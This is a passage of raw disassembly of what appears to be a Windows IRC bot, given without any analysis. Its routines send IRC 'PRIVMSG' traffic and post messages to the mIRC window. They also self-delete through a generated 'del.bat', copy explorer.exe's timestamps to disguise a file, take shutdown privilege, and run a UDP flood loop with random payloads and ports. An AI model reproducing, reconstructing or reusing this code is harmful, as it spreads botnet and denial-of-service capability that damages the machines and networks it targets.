		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9D3

loc_40AA23:				; CODE XREF: sub_40A96F+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9AD
; ---------------------------------------------------------------------------

loc_40AA27:				; CODE XREF: sub_40A96F+8Aj
		xor	eax, eax
		jmp	short loc_40AA30
; ---------------------------------------------------------------------------

loc_40AA2B:				; CODE XREF: sub_40A96F+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_40AA30:				; CODE XREF: sub_40A96F+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA35	proc near		; CODE XREF: sub_40EE72+3C8Ep
					; sub_40EE72+4AF7p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2610941h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_100]

loc_40AA6E:				; CODE XREF: sub_40AA35+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA7A
		cmp	cl, 9
		jnz	short loc_40AA7D

loc_40AA7A:				; CODE XREF: sub_40AA35+3Ej
		inc	eax
		jmp	short loc_40AA6E
; ---------------------------------------------------------------------------

loc_40AA7D:				; CODE XREF: sub_40AA35+43j
					; sub_40AA35+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA97
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA7D
		cmp	cl, 21h
		jl	short loc_40AA7D

loc_40AA97:				; CODE XREF: sub_40AA35+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43F798
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA35	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABF	proc near		; CODE XREF: sub_40EE72+5732p
		push	esi
		push	0
		call	dword_43F638
		test	eax, eax
		jz	short loc_40AAF6
		push	1
		call	dword_43F658
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF6
		push	edi
		push	esi
		nop
		call	near ptr 270063Fh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2700000h
		call	dword_43F6BC
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40AAF6:				; CODE XREF: sub_40AABF+Bj
					; sub_40AABF+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_40EE72+48C1p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43F674
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB76
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2710000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2570000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43F6C4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43F6C4
		push	ebx
		nop
		call	near ptr 2700BE1h
		push	edi
		call	near ptr 25F1A27h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB78
; ---------------------------------------------------------------------------

loc_40AB76:				; CODE XREF: sub_40AAFA+16j
		xor	eax, eax

loc_40AB78:				; CODE XREF: sub_40AAFA+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB7C	proc near		; CODE XREF: ___:0040E8BBp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	short loc_40AC1B
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_424084
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2720000h
		push	ebx
		mov	ebx, dword_424078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC1B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 271068Bh
		nop
		push	esi
		call	ebx

loc_40AC1B:				; CODE XREF: sub_40AB7C+2Aj
					; sub_40AB7C+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC20	proc near		; CODE XREF: sub_40EE72+13C4p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43F5B0
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC42	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE72+59D4p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42F5C0, esi
		push	edi
		jz	short loc_40AC66
		cmp	dword_43F738, esi
		jnz	short loc_40AC66
		push	esi
		call	sub_40C1AE
		pop	ecx

loc_40AC66:				; CODE XREF: sub_40AC42+13j
					; sub_40AC42+1Bj
		call	sub_416F25
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2731199h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2610691h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC6
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2600000h
		nop
		push	edi
		nop
		call	near ptr 25F1A27h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43C80C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26E0A99h
		push	eax
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2650426h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD6E
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 27310A2h

loc_40AD6E:				; CODE XREF: sub_40AC42+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 27206A4h
		nop

loc_40ADC6:				; CODE XREF: sub_40AC42+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC42	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADCA	proc near		; CODE XREF: sub_4013EC+7p
					; sub_401992+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADF2
		push	[esp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jnz	short loc_40ADEB
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40ADEB:				; CODE XREF: sub_40ADCA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADF2:				; CODE XREF: sub_40ADCA+Dj
		retn
sub_40ADCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADF3	proc near		; CODE XREF: sub_40EB92+D6p
		mov	ecx, dword_43F590
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE01
		call	ecx

locret_40AE01:				; CODE XREF: sub_40ADF3+Aj
		retn
sub_40ADF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE02	proc near		; CODE XREF: sub_40EE72:loc_414556p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43F6E4
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC8
		sub	ecx, 32h
		jz	loc_40AEC1
		sub	ecx, 48h
		jz	short loc_40AE62
		sub	ecx, 6Eh
		jz	short loc_40AE5B

loc_40AE44:				; CODE XREF: sub_40AE02+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DA5C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40AEA2
; ---------------------------------------------------------------------------

loc_40AE5B:				; CODE XREF: sub_40AE02+40j
		push	offset unk_42DA28
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AE62:				; CODE XREF: sub_40AE02+3Bj
		push	[ebp+var_8]
		call	sub_417B89
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417330
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8F
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43F6E4
		cmp	eax, edi
		jz	short loc_40AEC8
		jmp	short loc_40AE44
; ---------------------------------------------------------------------------

loc_40AE8F:				; CODE XREF: sub_40AE02+79j
		push	offset unk_42D9E8

loc_40AE94:				; CODE XREF: sub_40AE02+5Ej
					; sub_40AE02+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40AEA2:				; CODE XREF: sub_40AE02+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40AEB2:				; CODE XREF: sub_40AE02+C8j
					; sub_40AE02+DCj
		push	esi
		call	sub_417C3B
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AEC1:				; CODE XREF: sub_40AE02+32j
		push	offset unk_42D9A8
		jmp	short loc_40AE94
; ---------------------------------------------------------------------------

loc_40AEC8:				; CODE XREF: sub_40AE02+29j
					; sub_40AE02+89j
		cmp	[esi], edi
		jbe	short loc_40AEB2
		lea	ebx, [esi+4]

loc_40AECF:				; CODE XREF: sub_40AE02+DAj
		push	ebx
		call	dword_43F6E0
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECF
		jmp	short loc_40AEB2
sub_40AE02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40144A+243p
					; sub_401D82+268p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F60C
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43F99C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4172B0
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4010B5+24Cp
					; sub_4010B5+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF62
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AF55:				; CODE XREF: sub_40AF39+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF55
		pop	edi
		jmp	short loc_40AF66
; ---------------------------------------------------------------------------

loc_40AF62:				; CODE XREF: sub_40AF39+Aj
		mov	edx, [esp+4+arg_0]

loc_40AF66:				; CODE XREF: sub_40AF39+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF70
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AF70:				; CODE XREF: sub_40AF39+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF86	proc near		; DATA XREF: sub_40EE72+2E51o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_43F5F4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6A8
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFE1
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_40AFE7

loc_40AFE1:				; CODE XREF: sub_40AF86+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B044

loc_40AFE7:				; CODE XREF: sub_40AF86+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DAD8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B027
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B027:				; CODE XREF: sub_40AF86+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop

loc_40B044:				; CODE XREF: sub_40AF86+5Fj
		cmp	eax, ebx
		jz	short loc_40B054
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B057
; ---------------------------------------------------------------------------

loc_40B054:				; CODE XREF: sub_40AF86+C0j
		mov	[ebp+var_4], esi

loc_40B057:				; CODE XREF: sub_40AF86+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417330
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B077
		mov	[ebp+var_3C], eax

loc_40B077:				; CODE XREF: sub_40AF86+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07F
		mov	[ebp+var_38], edi

loc_40B07F:				; CODE XREF: sub_40AF86+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0AC

loc_40B086:				; CODE XREF: sub_40AF86+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_43F58C
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B086

loc_40B0AC:				; CODE XREF: sub_40AF86+FEj
		push	[ebp+arg_0]
		call	dword_43F720
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42DA9C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F5
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40D679
		add	esp, 14h

loc_40B0F5:				; CODE XREF: sub_40AF86+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h
sub_40AF86	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B112	proc near		; DATA XREF: sub_40EE72+2FA9o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F7
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_43F6EC
		cmp	eax, edi
		jnz	short loc_40B1F0
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB4C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1D3
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B1D3:				; CODE XREF: sub_40B112+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h

loc_40B1F0:				; CODE XREF: sub_40B112+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1FA
; ---------------------------------------------------------------------------

loc_40B1F7:				; CODE XREF: sub_40B112+6Ej
		lea	eax, [ebp+arg_0]

loc_40B1FA:				; CODE XREF: sub_40B112+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B215
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B218
; ---------------------------------------------------------------------------

loc_40B215:				; CODE XREF: sub_40B112+F0j
		push	[ebp+var_24]

loc_40B218:				; CODE XREF: sub_40B112+101j
		call	dword_43F668
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B22A
		mov	[ebp+var_24], esi

loc_40B22A:				; CODE XREF: sub_40B112+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B237
		mov	[ebp+var_24], eax

loc_40B237:				; CODE XREF: sub_40B112+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B24B
		mov	[ebp+var_28], esi

loc_40B24B:				; CODE XREF: sub_40B112+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B26C

loc_40B252:				; CODE XREF: sub_40B112+158j
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B252

loc_40B26C:				; CODE XREF: sub_40B112+13Ej
					; sub_40B112+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2CB
		push	0Bh
		pop	esi

loc_40B279:				; CODE XREF: sub_40B112+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43F6CC
		push	[ebp+var_28]
		nop
		call	near ptr 25D0CB3h
		dec	esi
		jnz	short loc_40B279
		cmp	[ebp+var_24], edi
		jnz	short loc_40B26C
		call	sub_41730C
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43F668
		mov	[ebp+var_E], ax
		jmp	short loc_40B26C
; ---------------------------------------------------------------------------

loc_40B2CB:				; CODE XREF: sub_40B112+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42DB10
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B30B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D679
		add	esp, 14h

loc_40B30B:				; CODE XREF: sub_40B112+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_20]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25D0000h
sub_40B112	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B328	proc near		; CODE XREF: sub_40B358+2Ap
					; sub_40B390+7Ep ...
		mov	eax, dword_43F9B4
		push	esi
		mov	esi, dword_424078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B33C
		push	eax
		call	esi

loc_40B33C:				; CODE XREF: sub_40B328+Fj
		mov	eax, dword_43F9BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B349
		push	eax
		call	esi

loc_40B349:				; CODE XREF: sub_40B328+1Cj
		mov	eax, dword_43F9B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B356
		push	eax
		call	esi

loc_40B356:				; CODE XREF: sub_40B328+29j
		pop	esi
		retn
sub_40B328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B358	proc near		; CODE XREF: sub_40C351+14Ap
					; sub_40EE72+4883p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43F9B8
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_40B38B
		call	sub_40B328
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B38B:				; CODE XREF: sub_40B358+28j
		push	1
		pop	eax
		leave
		retn
sub_40B358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B390	proc near		; CODE XREF: sub_40B417+D3p
					; sub_40B417+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C80C
		push	[ebp+arg_4]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3D3
		push	7D0h
		call	near ptr 25D0CB3h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40B3EA
; ---------------------------------------------------------------------------

loc_40B3D3:				; CODE XREF: sub_40B390+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40B3EA:				; CODE XREF: sub_40B390+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328

loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43F9C0

loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
